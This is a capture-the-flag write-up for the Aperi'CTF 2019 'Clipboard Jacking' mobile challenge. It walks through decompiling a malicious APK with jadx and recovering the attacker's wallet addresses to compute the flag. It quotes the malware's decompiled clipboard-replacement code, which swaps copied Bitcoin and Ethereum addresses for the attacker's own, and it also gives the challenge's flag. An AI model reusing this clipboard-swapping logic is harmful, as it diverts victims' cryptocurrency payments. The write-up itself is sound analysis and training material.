Aperi’CTF 2019 - Clipboard Jacking
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
Aperi’CTF 2019 | Clipboard Jacking | Mobile | 50 | 18 |
La communauté AperiWallet a été victime d’une campagne d’attaques ciblées. Ces attaques se traduisent par la diffusion d’un malware implémentant du ClipboardJacking, afin d’altérer les transactions des utilisateur d’AperiWallet. Un technicien a réussi à récupérer la charge malveillante envoyée aux membres de la communauté. Votre but: récupérer les adresses de wallet crypto de l’attaquant.
Le flag est sous la forme APRK{SHA1(Adr1;Adr2)}
Note :
- Les adresses sont à trier dans l’ordre alphabétiques et en minuscules
- Veillez à ne pas insérer de doublons
Challenge: ClipboardJacking.apk - md5sum: a2e19fddae214175ae8247021e21d174
TL;DR
Load the apk file with jadx, read the source code and compute flag.
Open the file with Jadx
jadx-gui ClipboardJacking.apk
Search for the MainActivity
We can find the MainActivity of the application here:
com > lemon.metamask > Activity > MainActivity
Adresses identification
We can identify multiple addresses at line 74:
if (valueOf.equals("1") && length == 34) {
clipboardManager.setPrimaryClip(ClipData.newPlainText("btc", "1Pha3yFmC7pDafzrK2wtNfnjLUeAooJsYz"));
} else if (valueOf.equals("3") && length == 34) {
clipboardManager.setPrimaryClip(ClipData.newPlainText("btc", "1Pha3yFmC7pDafzrK2wtNfnjLUeAooJsYz"));
} else if (valueOf2.equals("0x") && length == 42) {
clipboardManager.setPrimaryClip(ClipData.newPlainText("eth", "0x1e0e276d26bc6bca54cc73e00f01f6ecb25a0e88"));
} else {
Log.i("METAL", charSequence);
}
From this we can extract 2 addresses:
- BTC: 1Pha3yFmC7pDafzrK2wtNfnjLUeAooJsYz
- ETH: 0x1e0e276d26bc6bca54cc73e00f01f6ecb25a0e88
Compute the flag
echo -n "0x1e0e276d26bc6bca54cc73e00f01f6ecb25a0e88;1Pha3yFmC7pDafzrK2wtNfnjLUeAooJsYz" | sha1sum
67ef366aee982ec98851b767573137aa6ab7b255
Flag
APRK{67ef366aee982ec98851b767573137aa6ab7b255}